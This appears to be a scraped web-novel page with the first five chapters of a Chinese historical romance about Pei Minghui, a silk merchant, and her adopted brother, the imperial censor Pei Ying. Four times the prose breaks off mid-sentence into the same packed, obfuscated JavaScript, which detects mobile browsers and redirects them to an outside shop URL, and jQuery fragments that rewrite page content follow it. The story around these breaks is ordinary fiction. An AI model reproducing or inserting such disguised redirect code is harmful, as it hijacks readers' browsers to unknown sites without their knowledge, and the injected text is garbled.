《嫁义兄》 1. 第 1 章 停云蔼蔼,天欲雪。 “今日姑娘可高兴了。”打扫庭院的婢女眉飞色舞地说着,“今夜的菜肴均是姑娘亲自去庖厨盯着的。” “听说公子传了信回来,京城里的要紧的差事都办完了,自是要回来同姑娘过年的。” 擦拭廊柱的婢女笑着说道。 “大家伙都好好干,姑娘说了,今夜赏赐多多,等明儿就给大家放年假,叫大家好好休息。等公子回来,与姑娘兄妹团圆,定又是一番赏赐。” 负责督导众仆从的周媪欢欢喜喜地从游廊里走了过来,朗声说道。 众人闻言,纷纷鼓掌相视而笑,而后加紧着手上的活干完。 不一会雪花就从天边纷纷扬扬落了下来,不一会天就黑了下来,婢女用细长的竹竿将镶嵌着翡翠琉璃的大风灯仔细地悬在府门两侧,色彩斑斓的光照在了门廊之下的晶莹雪粒之上,这剔透冰冷的雪花折射出了绚烂的光彩来。 廊下悬着厚重的竹篾卷帘,将冰糁雪雾挡住,一粉色衣袍的女子缓缓而来,卷帘遮住了她的面容,她只可瞥见她手中提着一盏风灯,风灯照在她照着一层细腻白纱的粉色裙裾之上,仿佛在迷蒙雪雾的冬夜里开着灼灼桃花一般,隐隐流动着美丽的光泽。 “姑娘,姑娘。” 周媪欢喜地走了过去,向被唤作姑娘的人一欠身,随即道,“天冷,姑娘何不屋里头候着,只要公子一回来,奴婢马上通报姑娘,姑娘再来也不迟。” 原本等在檐下的人闻言反而探身拾阶而下,绣着桃花的绣履踩着新雪之上,发出嘎吱嘎吱的声音,风灯的光芒照在她的面容之上,像极了玉雕的像,一颦一笑,便动人心之弦,虽弦止,则余声不止。 “哥哥难得回来一日,我自要第一时间见他。” 裴明绘眉眼弯弯,显然很高兴,她的一举一动,都浮动着欢喜。 裴明绘口中的哥哥,乃是河东郡裴家独子,御史大夫裴瑛,位列三公,尤其是当今陛下有意限制丞相的权利,裴瑛的威慑力甚至足以为盖过身为皇亲国戚的陆珩舟了。 盖裴瑛者,幼年时家族被诬陷下狱,九族被处以斩首之刑,只这年幼一子后得明绘父亲相救,方得存以性命,隐姓埋名卧薪尝胆,得前丞相窦玉提拔,做了侍奉皇帝的近臣,担任给事中一职,侍奉皇帝左右,建言献策,甚得皇帝赏识,后窦玉主张为裴家翻案,裴瑛才开始正式步入朝堂。 裴瑛其人,相貌俊美,正可谓之芝兰玉树翩翩公子,此行此貌,公子无双,位高权重,随者无数,如此公子瞬间风靡整个长安,夺了不知多少姑娘小姐的放心,更兼之裴瑛在除了对付政敌和完成皇帝任务之外,还是非常亲和的人,可谓除了被他下狱的人和他的政敌以及皇帝陛下所厌恶的人,那是人见人爱当之无愧的。 总之,裴瑛为御史大夫之时,便是这个时代御史大夫至极辉煌之时,权利压过丞相,又得皇帝器重,可谓风光无量,朝野说话举足轻重,但就算如此位高权重,裴瑛却也随和,不管对方职位身份贵贱与否,只要与之无过节,便是平和待之,若与之投机,裴瑛便厚待之。 当然,裴明绘并非裴瑛的亲手妹妹,裴明绘原本姓明,因着明绘父亲的救命之恩,裴瑛又怜其无父无母,便领着她一同焚香告祖,自此裴明绘也就进了裴家的祠堂。 裴明绘在府门翘首等待,不知过了多久,碎碎马蹄声又远而来,原是一穿着黑色官衣的骑士策马而来,等骏马到了府门前,骑士翻身下马,朝着裴明绘一拱手,道,“小姐,大人尚有急事处理,今夜赶不回来了,特传下官告知小姐,今夜不必等他,雪天大喊寒,小姐早些休息才是。” 寂静雪夜里只有簌簌雪落,裴明绘的笑容渐渐凝固,但就在即将消散的那一刻,便又成了一弯适宜合度的浅笑,“我知道了,雪天路滑,难为你来捎信了,春喜,请他进来喝杯茶暖暖身子罢。 裴明绘便踩着雪又回了到廊下,闭上眼,此时此刻,心底所有的欢悦都烟消云散,只得谛听廊檐之外的簌簌雪落,以及府外阖家团聚的笑声。 “小姐……” 周媪看着她立在廊下,有些踌躇。 “都散了罢,各处都聚聚,赏赐依旧,一年来大家都辛苦了,好好休息才是。” 周媪知道裴小姐格外依赖公子,公子身居要职,如今正逢对匈奴作战的要紧之时,不会来却也是意料之中。 周媪看着裴明绘自少女长大,自也是心疼她:“公子虽有事不能归家,想必心里头也是念着小姐的,就算今日不回,明日也要回来的。” “周媪这番话说的,我倒像是个小妹妹了。”裴明绘一笑,心里头虽然难过,但也不想下人在年节之时也伤心,遂道,“好了,都散了罢。 原本预备好了的菜肴都被撤了下去,她特地让舞女备好的歌舞也都撤了下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13363711|140873||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 去,待将一切都取缔之后,裴明绘禹禹独行回到了自己的卧房,颓废地坐在榻上,手心托着额头,疲累地闭上了眼睛。 “小姐别伤心。”春喜看着裴明绘,不由一阵心疼,她深知裴明绘何其依赖裴瑛,正所谓长兄如父,公子到底说了今夜回来,却又如何不回来,还不如原本不说,白叫小姐伤心。 “哥哥忙,我明白。”明绘站起身子来,将所有心思都压在了心底,她走到长案身后,拿其账册开了起来。 “左右哥哥也不来了,你将聂妩叫来,我这里尚有些事要同她商量。” 河东郡中的最大的商人便是裴明绘,她虽然年纪轻,但是却很有见识与智慧,在流经河东的渭水旁是千顷的桑园,而裴明绘也是大汉著名的皇商,其绫罗绸缎皆为上上品,除了最上等之物专一供给皇室之外,其他,皆由明月坊一体出售。 而裴明绘之所以成为河东郡首屈一指的皇商大商,不止是因为她的哥哥是天子近臣,而在于她确实能够掌握机遇。 在攻打匈奴之时,国家全力支持大将军兼威武侯谢元狩与匈奴的漠北决战,而就在此时,国家财政陷入了极度紧张的境地,为此裴瑛便与皇帝商量出一种叫做“白鹿币”的东西。 汉朝的诸侯王每岁需向皇帝纳贡,而皇帝就特地申明,诸侯纳贡,需向皇帝献白鹿之皮,而这种白鹿皮只有皇帝的上林院有,售价也是惊人的四十万。 四十万是什么概念,此等价钱在此时是可以构面上等的田地一百多亩的。 而国家经济大臣,身为大农令的杜子凌却对此提出了异议,说是本末不相称,然后他就被裴瑛寻衅以腹诽之罪下狱,最后被处死。 在这里,裴明绘也就明白了机遇所在,一方面为了自己的哥哥那残存不多的好的名声,另一方面也为了寻求机遇,她率先向皇帝捐出了自己的半数家产,上书言曰,将军上战场,洒血黄沙上,妾妇无所能,上不能建言献策,下不能戍卫边疆,但蒙皇恩方有此家业,愿献半数家业以佐国家之急。 此举得到了皇帝的大大表彰,并替了一副字,曰:盖为天下商之表率。 如今这幅字,被题在了各处明月坊的牌匾之上,高高地悬挂起来,来往行人皆可观之,自此裴家的丝绢产业也就一只脚踏进了皇商的地界。 但是,与此同时,裴明绘也得了一个同她哥哥一样的称呼。 皇帝的走狗。 2. 第 2 章 皇帝的走狗。 所谓王言如丝,其出如纶,皇帝如此表彰裴明绘,其下之意不言而喻,但是白白捐钱的事情大抵爱财如命以利为本的商人们都不太愿意做,但是都得或多或少地表示一下,住在天子脚下的,不免就得出一出血,故此自然恨极了裴明绘。 但最终如公孙吾所言,榜样之力渺渺,对于战争所造成的巨大的财政缺口,不过杯水车薪,商人们依旧我行我素,过着骄奢淫逸的生活,甚至在皇帝屡次赈灾之时从中获取巨大的油水,囤货居奇搜刮财富,故土地兼并之事屡有发生。 故此,方有后面浩浩荡荡的商业经济改革等一系列来填补国家财政漏洞的错失,当然,这是后话。 她将手中账册心算完毕,细腻的指尖滑过檀木算盘的算珠,发出清脆利落却独具韵味的声响,余光看了一眼,确认无误后方才拿起下一册来,就在她专心致志处理手中账册之时,就听门嘎吱一声,冷风绕过镶嵌着翡翠的云母石屏风到了账册堆积上,吹得案上铜灯的灯火摇曳不息,故而投射照亮着她面容的光也在不断摇晃改变着。 “姑娘。” 清脆利落地声音传来,裴明绘缓缓抬起浓密纤长的眸子,眼见一披着红狐狸斗篷的姑娘风风火火走了过来。 “妩儿。” 纤细优雅的手将手中书简放下,而后将案上的书简堆在一旁,眼神往旁边一挪,春喜立即会意,指挥着屋内的侍女鱼贯退下。 随着门扉严丝合缝地关紧了,一丝冷风也进不来,一丝密谈也出不来的时候,裴明绘用拔下发上的一根银簪子将烛火挑亮了些。 “公子今儿没回来,姑娘伤心了。”聂妩长得甜美,声也格外得甜,但人却是格外干练的,每次督导明月府各处运作之时,就想是河边的水车一样,除非河水断流,否则永远不会停歇的,永远是有条不紊地运作着的,“但姑娘别着急难过,我给姑娘预备了礼物,只管姑娘喜欢。” “你倒是知我心意。”裴明绘笑着摇了摇头,一笑过后便倏然正色起来,“我叫你来,可不是为着这些事的。” “我知道,是正事。”聂妩甜甜一笑,“姑娘是个正经人,叫我来,当然是为了正经事了。” “就你嘴甜。” 裴明绘黯淡的心绪永远会被眼前这个利落的嘴甜的女子点亮,她又是忍不住一笑,“我叫你来,是为了核对一下来岁要事,你且看。” “战争开支日益浩繁,又兼之灾害频仍,国库的亏损怕是来岁也转不过来了。” 聂妩也知道这些,一听顿时就担忧起来,“若是这样,恐怕……” “国家没钱了,自然不会管没钱的要钱,而是去找有钱的要,这天地下有钱的不过皇帝,最近皇帝已然在节省皇室的开支了,而后便是公卿,他们的钱除非抄他们的家,否则也是收不上来的,然后便是诸侯王,白鹿币便是一法,再然后便是各地豪强富商,我觉得,很快皇帝的刀就会落在这豪强富商之上。” 聂妩眉头一蹙,“怪不得皇帝先后召了盐商东郭咸阳,冶铁大商孔仅,洛阳商人之子桑弘羊,这幅架势怕是要将盐铁都收回去,如此这般,难道还补不上亏空吗?” “如今要改要收,不可能就只做半截事,要做自然是要做全了。如今国家财政亏空若此,这些个富商豪强却靠此来发财,已家累万金,随者数百,凡出行皆招摇过市,贫者为其奴仆,失田者为其佃户,发国难之才,不佐国家之急。如此种种行径,如何不是让自寻死路呢?” “那皇帝岂不是迟早要拿我们开刀?以陛下雷厉风行之性,必然是那势大的那几家开到了。” 聂妩心惊。 “他们为富不仁,怎的要我们跟他们一块儿死!” “你放心。”裴明绘按住她,坚毅的眸光登时叫聂妩安下心来,“就算要开刀,也是从那几家开始,如今皇帝以我捐家产之事大为表彰,纵是有心,也是不能了。我当年捐半数家产的,便是料想着有来日之事变。对了,我从我哥哥处听来了,皇帝已有算缗的意思了。” “什么。”聂妩惊得险些站了起来,“算缗!” 算缗者为何,乃为一种新的赋税,缗为何,串钱之绳也,一缗就是一千钱,而算为在此时,则为一百二十钱,如此算缗,便是要大举收富人之税了。 二人忧心忡忡地说了些时日,这时突然传来了敲门声,聂妩亲自去开了门,就见屋檐下站着的竟然是自己派出在长安明月坊的执事。 年轻干练的执事被聂妩领到了裴明绘案前,冲着二位抱拳躬身,“见过二位当家。” “什么事。” 裴明绘的手肘撑在长案,显然商榷对策耗费了她不少心力,故而格外疲惫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13363712|140873||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “拣要紧的事.说。” 聂妩看清了裴明绘的疲惫,遂嘱托道。 “诺。”执事应道,而后说道,“长安中有流言,说是陛下有意让公子尚公主。” 话音一落,整个屋子里只剩下大燎炉里的火焰噼里啪啦作响,像是银丝炭里掺了些木头一样。 “……” 裴明绘缓缓抬起眸子,漆黑如墨的眸子此时此刻却泛起了难以置信的波澜。 “说什么呢?” 聂妩一看裴明绘脸色,心里头一惊,赶忙喝问道,“你细细说来,敢于隐瞒定饶不了你。” “小的不敢!” 执事赶忙将此事备细说来。 原不是皇帝亲自下了旨意,只是长安街巷里突然就有了传闻,传的跟真的是的,执事一见涉及自家的事,赶忙将手头的事都交代好了,方才匆匆而来,向裴明绘来汇报此事。若是真的,裴小姐自然要为公子的婚事早做准备才是,以防措手不及。 “退下罢。” 裴明绘垂下头,手心向上撑住额头,洁白的皓腕自宽大的粉色广袖里露了出头,纤细不盈一握,却撑住了太多忧愁。 “你别多想。” 裴明绘心里有谁,聂妩是唯一知道的,故今日她的悲伤,也就只有聂妩一个人明白。 “这事还每个准呢,前年不是还传武安侯要将女儿嫁给公子吗,这不是流言才传了几天,就被公子一口回并无此事了吗?” 武安侯陆珩舟,一提起她来,裴明绘的心思便飘回到了二十年前下着大雪之时。 茫茫冬雪里,黑色铁骑将昔日辉煌的裴家围了个水泄不通,廷尉张元奉太后令来拘捕裴家,裴家世代子孙皆在朝中任职,裴家家主裴礼显更是担任大将军,在平定七国之乱后率军二十万北上平定匈奴之乱。 裴礼显将军乃是久经杀伐的老将军,在得知匈奴欲再秋季之时大举南下,便率先请命北上。 只可一朝兵败,只有数十万残兵逃了回来,皇帝只能再次送公主与匈奴和亲。 而这次兵败,太后与一干重臣,将兵败缘由悉数归咎于裴礼显通敌卖国。 “你听说了没,听说裴家下狱了。” “这能不知道,听说是通敌,怪不得对待匈奴的战事屡战屡败,原来是裴家自己就通敌,真是可恶!” 3. 第 3 章 “你听说了没,听说裴家下狱了。” “这能不知道,听说是通敌,怪不得对待匈奴的战事屡战屡败,原来是裴家自己就通敌,真是可恶!” 人声穿过密如帘子的大雪到了只有六岁的明绘耳朵里,她正要偏过头去,却又被明先生拉走了。 “爹爹,裴家人一个都没有活下来吗?” 明绘扬起头来,小小的鼻尖都冻得通红,黑色的眼珠好奇地看向明先生。 明先生事乐陵县的一个书吏,主要负责官府公文布告,身材修长面目俊雅,一声蓝色布袍盈风而起,飘飘然有凌风欲飞之感。他脸上似乎永远凝着愁苦,就算笑起来也像是含着苦涩的。 他一手提着一个包袱,背上还背了一个包袱。 “也许罢,也许一个都活不下来。也许会活下来一个。” 明先生走了几步,便将明绘又抱在了怀里,步履踩过厚厚的积雪,发出嘎吱嘎吱的声音。 小明绘抱住明先生的脖子,回头看向逐渐淹没在大雪里那昔日辉煌至极门庭若市的华阔裴府,大大的眼睛里充满了迷茫。 走到正阳街上,又往前走了一里的路,便到了一处煊赫的府邸,迎面便是三开间的大门,大门正上有一大匾,上书“许府”两个大字,旁边各悬着两盏大红风灯,将牌匾照得通亮,府邸乃是白墙黑瓦,落了雪之后便仿佛融进了这方白色天地一样。 明先生一手抱着明绘,同时将大包袱拎着改为挂在胳膊上,他停在许府门前,久久地望着,却不再往前迈一步。 “爹爹,这是哪啊?” 稚嫩的童音响起,小明绘突然感觉到冷,她想爹爹一定也很冷,就紧紧地抱住明先生,将自己冻得通红的脸努力地贴在他的脸上,想要让他暖和一些。 “这是……”明先生顿了顿,最后一笑,“这是你娘原先的家。” “可我娘不是已经死了吗?”小明绘不解地说道。 明先生的眼里盈起了泪,小明绘见状赶忙手忙脚乱地用自己的手去擦明先生的眼泪,可是这眼泪却越擦越多,小明绘登时也哭了出来,哽咽道,“爹,爹……” “爹爹没事。”明先生将所有的悲伤都压回心底,他摸了摸了明绘的头,将上面大片大片的雪花都拂去,疼惜地看着小明绘,道,“今日爹爹要带你去见你娘的亲人。” “娘的亲人?”小明绘心里突然有了不好的感觉,她急忙抱住明先生的脖子。 这是,有人踩着积雪走了过来,是一个肥大的身躯穿着本色布袍的人,一双细长的眼睛一转一回的功夫便将来人的模样打量了个遍,在心里头也有了大致的评断,而后就昂首阔步地走了过去。 “你们来许府是为何事?” 明先生一笑,而后恭敬地说道,“烦请通报一下,乐陵明子玉携女前来拜会许家主。” “明子玉?” 那人眼睛又一转,随即嘴角一丝讥讽的笑,“什么臭要饭的都想要来许府打秋风,家主没空,快走!” 小明绘被他汹涌而来的恶意吓到了,只能无助地抱住明先生。 明先生安抚了一下,随即又是一笑,从袖中掏出一个钱袋,放在了那人的手里,那人眼中一闪,随即掂量了掂量,里头清脆悦耳的碰撞声顿时叫他眉开眼笑,态度顿时转了弯,虚手一请,“您先来檐下避避雪,这会子我们大人还没回来,等我们大人一回来,我马上就叫你们进去。” 河东许家,就是仅次于河东第二大世家,家主许昌武现任河东郡太守,许昌武之弟许昌文,现在宫中任博士仆射,通今博古,尚黄老之学,最得太皇太后器重。如此两位大人物,河东许家自然也就是步步高升,甚至风头都压过世代簪缨的河东裴家。 就听马蹄踏雪,辎车辚辚,明先生回头,便见一队车马遥遥而来,先头两马官吏开道,而后是辎车粼粼而来,如此阵仗,定然是许家某位大人物回来了。 “爹爹,这是谁啊?” 小明绘好奇地问道。 “应该是你的二舅舅。” 辎车在正门处停下,守门的阍人赶忙将门打开,外头飘扬的雪花瞬间就飘进了许家的宅院里。 小厮赶忙将脚凳放下,然后将帘子掀起来了,而后一人弯腰从辎车里走了下来,黑色的官靴踩在脚凳之上,而后踩在厚厚的积雪之上,他直起腰来,风雪擦过他清瘦的面庞,掠过他如同漆墨的眼睛,吹得深蓝色的袍子上银绣仙鹤翩然欲飞。 “大人请。” 仆役们毕恭毕敬地请他进去。 许昌文大步走进许府,余光自然瞄到了明先生,但是他显然并不想理会他,就见他要径直走进去的时候,一声清脆的童音却唤住了他。 “二舅舅。” 许昌文要迈进去的脚顿时就停在了半空,而后又缓缓地收了回来,他转头看向明先生,而后目光落在了她臂膀上的小女孩身上,目光微微颤动。 他怀里的女孩模样长得很是好看,如同上好的白玉雕就的小娃娃一般,被冻得通红的鼻尖与面庞,那黑亮亮的眼睛没有染上丝毫俗世的尘埃。 “许大人。” 明先生以书吏身份向许昌文见礼。 “进来罢。” 许昌文撂下一句话就走了进去。 明先生遂抱着明绘走了进去。 外头是大寒大冷,正堂却是春意融融,大燎炉里头烧着上好的银丝炭,一点烟一点响都没有,大厅里头各处按照格局摆了当种适宜的话,各种花香氤氲逸散开来,独令人有春天之感。 “看茶。” 沈文将身上大氅脱了下来,自有仆人接过安置了去。 宾主坐定,仆人们鱼贯而入,热茶果品糕点流水地上了来,摆在了明先生案前,小明绘看得眼睛都直了,看了看爹爹,见爹爹点了头,方才拿起糕点来吃。 “六年不见了。”许昌文开口了,但他显然不是来与明先生回忆往昔那些并不愉快的岁月的,他的眸光倏然一冷,修长的手指轻叩长案,“你如何敢来许府。” 明先生将 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13363713|140873||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 明绘放了下来,走到正堂中央,而后一撩袍袖,便郑重地跪了下来,“我今日来,便是要将明绘儿托付给许公,我身久病,恐不能再有些活的时日了,唯盼许公能看在明绘儿与您有着相同的血脉的份上,收留她罢。” 许昌文自是坦然受之,又是冷笑一声,“你早就该有今日,若是早死了,何必牵连着我那可怜的妹妹一同受罪。” 明先生瘦削的脸庞紧绷着,手指也紧紧攥在一起,指节泛起了白,他几乎是咬着牙说着说,“我虽有罪,罪不可恕,然明绘儿可怜,烦请许公收了她罢。” 许昌文冷哼一声,示意一旁的奴婢将明绘抱下去,小明绘似乎是意识到了什么,手中的糕点一下子就掉在了地上,登时眼泪就出来了,转眼就跑到了明先生身边,抱着明先生的脖子哭了起来。 “爹爹,你不要我了吗?” 年幼的孩子恐惧着被唯一亲人抛弃的未来,紧紧地抓着明先生的衣袖。 “哼。”许昌文冷笑一声,遂道,“你本就该死,然稚子无辜,你且走了,永远不要回来。” “谢过恩公。” 一身傲骨的明先生颤抖着,而后缓缓地叩首。 “爹……” 明绘顿时明白了,她爹要永远离她而去了,她紧紧拽着他的衣服,眼泪哗哗留下。 “爹,我听话,你不要不要我好不好。” 与明先生相依为命六年,明先生既是明绘的爹又是明绘的娘,她怎么愿意离开自己唯一的亲人呢。 明先生一下一下轻柔却不容抗拒地将她的紧紧攥住自己衣袖的手指的掰开,不顾她撕心裂肺的哭喊。 “爹爹……” 她哭着想要扑过去,却又被婢女一把抱走了。 似是被哭得头疼,许昌文不耐烦地招了招手,婢女便将哭得凄惨的明绘抱了下去。 明先生的肩膀颤抖着,须发像是秋风落叶般凄楚摇晃。 “你还有何话要说。”许昌文挥了挥衣袖,站了起来,显然是要送客的架势。 “这个东西。”明先生似乎还没有从女儿痛哭的声音清醒过来,整个人似乎连骨头都是浸润着痛苦的,他将胳膊上的包袱拿了下来,放在长案上。 “这是明绘儿的东西,里面有她的衣物,以及我生平积攒的资财,还望恩公收下。” 许昌文显然没了同明先生虚与委蛇的意思,遂道,“我许家,一个女孩儿自是养得起的,既然你走了,她自然就不是你的女儿了!” 明先生的身子一颤,险些没有站住,他挤出一个痛苦的笑来,每一个字都痛彻心扉,“是,许公会教养孩子,明绘在许公的教养之下,自然更好。” 明先生颤巍巍地走出了温暖的正堂,风雪扑面而来,几乎要将他淹没,他盈满泪光的眼睛望着漫天风雪,满是痛苦与坚决。 他取出背后的行囊,尘封已久的长剑出鞘,清亮的金铁振音几乎震碎周围风雪,光亮的剑面照出他泪流满脸的面容,而后他走进了茫茫风雪,不复归矣。 4. 第 4 章 雪化而雪落,辗转反复之间便又是六年的光阴。 许昌武膝下有一子三女,虽然许家颇具文化之才,政事与依附之能,然此子却是个实打实的纨绔,只知道流连烟花柳巷,最是不成器。 长女许允喜好奢华,今已十七岁,已嫁洛阳马氏去了,次女许卓略微文静些,年方十四,好诗书,却也好诡辩之说,幺女许缤年十岁,因着最小,许昌武也就是最疼爱她,便养成了个骄奢跋扈的性子,府中仆妇随从无不看其眼色行事。 另外,便还有一个名义上的女儿,也就是许昌武妹妹许通的女儿明绘,后更名为许绘,只是未曾拜过祖宗记入族谱罢了。 今日仲秋,许氏二姐妹准备了好些时日,就等着挑个阳光好的日子与其他一众贵女去他野游,正巧,今日二叔的女儿也来了,三姐妹也就欢喜地去了郊外野游去了。 若问为什么那个妹妹,只是不喜欢罢了。 许通原本便是许家的贵女,竟然敢背了许家与以前的河东太守江嘉世的婚约,而直接逃婚与身为游侠的明子玉私奔去了,最是为人诟病,两姐妹焉肯带她? 正午之时的阳光透过书房的直棂窗,白炽的光线将二人的身影投在铺着红毡的地面之上。 房内竹简四围,河东郡的公文大多都在此处,许昌武与许昌文一坐一站,显然都是忧心重重。 “今岁恐怕又有大的变动了。陛下前日朝会,竟然提出了限民名田之法,接下来,怕是要实田啊。” 许昌文久在长安,对政治变动有着相当敏锐的察觉。 许昌武的脸色变了变,“怎么这么突然。” “哥哥糊涂也。”许昌文的的脸色也不好看,显然这件事超出了他的掌握,若是真要实田,怕是除了皇亲国戚,便是他们许家首当其冲,“都是这个董仲舒,说什么限民名田,以澹不足,塞并兼之路,这难道不就是叫陛下得罪天下人吗?若不是这个御史大夫赵绾一力支持,名田未必就会推行。如此二人,罪魁祸首也。” “太皇太后哪儿怎么说?”许昌武急问道。 “太皇太后最近身体不适,朝堂上的事就不怎么管了。”许昌文摇了摇头,“无论如何,此举乃是大危之策,若是不加以阻止那天下可就要大变了。” “弟莫要忧心,太皇太后定然不会不管此事,如今他既然要限民名田,我们不如就送他一程,叫他好好查一查,把天下豪族与贵胄一并查了,最好查到太皇太后和窦太主的头上,同时,赵绾不是想要将土地收回去吗,好,我们叫他收,这叫小子知道什么叫做厉害!” “哥哥的意思是……” 许昌武德脸色阴沉下来,嘴角的笑意尽是大局在握的轻松,“他想限制我们的财,我便叫他把庶人的地全收了。” “可……”许昌文显然被哥哥的话震惊了,“这样怕是要出问题啊。” “怕什么,这小子才登基几年,就敢收田,来年定是要把铸钱、冶铁、采矿、煮盐都收了去,等到箭在弦上的时候,再想改就改不了了。” “无为而治则大家安生,他若想要一家独大,天下人会告诉这小子,没门!” 直棂窗外麻布长裙的女子静静地听着,而后余光一转,瞥见了匆匆而来的身影,便消失在了枯枝交错的梅树之后。 * “往日官吏怠惰,行事皆合本地豪强之意,如今国家行黄老之学,与民休息,这些个豪强贵族便沉寂兼并土地,可谓是富者田连阡陌,贫者竟无立锥之地,致使民无生机,只能沦为佃户奴婢,沦为佃户奴婢也就罢了,这些人竟然还敢隐匿人口田地,好生猖狂。如今,可有他们哭的时候。” 皇帝很是高兴,不由得酒也多喝了几爵,宫室之内十二连枝铜灯的灯火煌煌,照在跪坐在长案之后的优雅端方秉笔之人身……上,暖色的辉光悄无声息地将他俊雅的面容分割成明暗分明的两面。 “陛下于民生,还田于民,百姓拥护万分,于内宫,去故置新宫廷卫士二万人矣,于人才选拔,陛下设明堂行策问,今帝王之权皆于无声之中为陛下所掌。” 此人正是裴瑛裴玄则,他的声音温润如同世间最顺滑的锦缎,又像是是寒泉鸣溅般泠泠悦耳。 皇帝听了分外高兴,爵中澄澈的玉液也晃动着。 “裴卿妙策,等丞相府与廷尉府将裴家的冤案查清,朕一定要重重封赏裴卿。” “此乃陛下圣明决断。” 裴瑛恭敬躬身,一举一动皆是合乎礼仪法度的恭谨。 “臣只是尽人臣之责罢了。” 皇帝虽然高兴,但是内心的忧虑如同天边的阴云一般,那泼天的大雨似乎随时都倾泻而下,将他辛苦建立起来的基业都毁于一旦。 裴瑛一抬眼,便看见了皇帝蹙起的眉头,瞬间间便明白这位年轻的皇帝心中所忧为何,遂温声劝慰道,“陛下,臣以为,虽然诸事俱备,然隐忧尚在,若隐忧不除,大业恐将延宕。” 皇帝被说中心中忧患,心中却也踏实了不少,“裴卿,隐忧何在。” “如今陛下大刀阔斧推行新制,甚至有将儒学定为官学的意向,但如今太皇太 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13363714|140873||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 后仍有监国理政之权,若要其察觉陛下有更改国策的意图,或是有不轨之人将陛下的政策故意搞乱,将还田于民导向夺民之天以济个人之私的局面,不过哪一样一样,太皇太后恐发下懿旨,倒是一切改革都将被推倒。” “可太皇太后迟早会知晓。朕最近听说淮南王找太皇太后诉苦了,八成就告了朕的状。” 皇帝一想起自己这个叔叔,就不免有些头疼。 裴瑛一笑,从案下拿出一卷竹简,恭敬地递给了皇帝,皇帝将竹简接过来,哗啦一声便将其抖开,就着灯火备细一看,登时目光便是一闪,高兴道,“好啊,朕明日便去见太皇太后。” “裴卿,朕该如何封赏你呢?” 皇帝将竹简收好,看向那似乎永远恭谨着的少年,七年前的他似乎还不是这般柔和到了温顺的地步,不过皇帝对于这个倒是很满意,如今自己践祚不久,正需要一把听话的刀,若是太过桀骜难训,迟早会要出事的。 裴瑛站了起来,恭敬地跪地,永远温和的声音此刻却有了脉脉温情,“臣苟且偷生,能够为裴家洗清冤屈足矣,余生愿为陛下驱驰,然臣有一义妹,臣多年为求进取而不能相伴其左右,对她亏欠许多,臣愿为她求取功名。” “裴卿还有妹妹?” 皇帝好奇地问道。 “那人并非臣的亲妹,而是臣恩人的女儿。”裴瑛顿了顿,“臣的恩人为了臣,而放弃抚养了自己的女儿。” 皇帝听闻,大有感慨,抚掌而叹息道,“此等忠义之人,大有程婴之风啊。” 程氏夫妇,也就是春秋战国之时的赵氏孤儿大案。晋景公三年,大夫屠岸贾杀赵盾,诛灭赵氏一族,后赵朔门客公孙杵臼与程婴谋划,程婴抱真正的赵氏孤儿匿养山中,公孙杵臼故意告发,后与程婴的孩儿死在了一处。 裴瑛直起身子来,原本波澜不惊的眸子却起了微微波澜,他总觉得,有什么不好的事情要发生了,但是就在他飞快地将所有既行的策略都从头到尾梳理一番过后,却并没有发觉有遗漏之处。 可从始至终,这股莫名的不安却始终徘徊在他的心头,如同秋冬的迷雾一般缭绕不去。 到底错漏在何处呢。 裴瑛的眸子渐渐暗了下来。 他本就颇具机谋,多年来侍奉在皇帝身侧,阴谋权术之道已然浸润他的血肉,正可谓谋算无遗策。 他也一贯自信于自己对事物的把握,同时孑然一身无所顾忌,纵有杀身之祸也可拼上一拼。 到底疏漏在何处,裴瑛百思不得其解。 5. 第 5 章 冬晨降霜,故中庭蔼蔼。雾冷而湿,廊下竹帘,固有潮气。 明绘早早就起来了,虽然她如今名义上是大家的小姐,但到底没几个仁认她这个半道而来的小姐,若再不勤快些,上头的人还未说什么,下面的人就要将她非议死了。 布裙利落,她熟练地在庖厨忙了起来,亲自为许昌武备上早膳。 主食是鸭肉竹笋米粥,并各色或煎或炒的小菜,在来上一碗蒸好的杏仁酪。 